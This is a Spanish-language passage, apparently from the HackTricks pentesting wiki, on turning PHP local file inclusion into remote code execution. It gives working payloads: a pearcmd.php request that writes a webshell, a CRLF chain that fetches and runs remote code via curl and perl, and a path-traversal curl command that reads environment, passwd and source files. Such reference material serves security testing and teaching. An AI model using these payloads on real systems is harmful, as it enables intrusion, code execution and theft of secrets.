La siguiente request crea un archivo en /tmp/hello.php con el contenido <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Lo siguiente abusa de una vuln CRLF para obtener RCE (desde here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Vía phpinfo() (file_uploads = on)

Si encuentras una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on, puedes obtener RCE:

LFI2RCE via phpinfo()

Vía compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si encuentras una Local File Inclusion y puedes exfiltrar la ruta del archivo temporal PERO el servidor está comprobando si el archivo a incluir tiene marcas PHP, puedes intentar eludir esa comprobación con esta Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Vía eternal waiting + bruteforce

Si puedes abusar del LFI para subir archivos temporales y hacer que el servidor cuelgue la ejecución de PHP, podrías entonces brute force los nombres de archivo durante horas para encontrar el archivo temporal:

LFI2RCE via Eternal waiting

Hacia un Fatal Error

Si incluyes cualquiera de los archivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Necesitas incluir el mismo 2 veces para provocar ese error).

No sé cuán útil es esto, pero podría serlo.
Incluso si provocas un PHP Fatal Error, los archivos temporales subidos por PHP se eliminan.

Preserve traversal sequences from the client

Algunos clientes HTTP normalizan o colapsan ../ antes de que la petición llegue al servidor, rompiendo los payloads de directory traversal. Usa curl --path-as-is para mantener el traversal sin modificar cuando abuses endpoints de log/download que concatenan un nombre de archivo controlado por el usuario, y añade --ignore-content-length para pseudo-archivos como /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Ajusta el número de segmentos ../ hasta salir del directorio previsto, luego extrae /etc/passwd, /proc/self/cwd/app.py u otros archivos de código fuente o de configuración.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks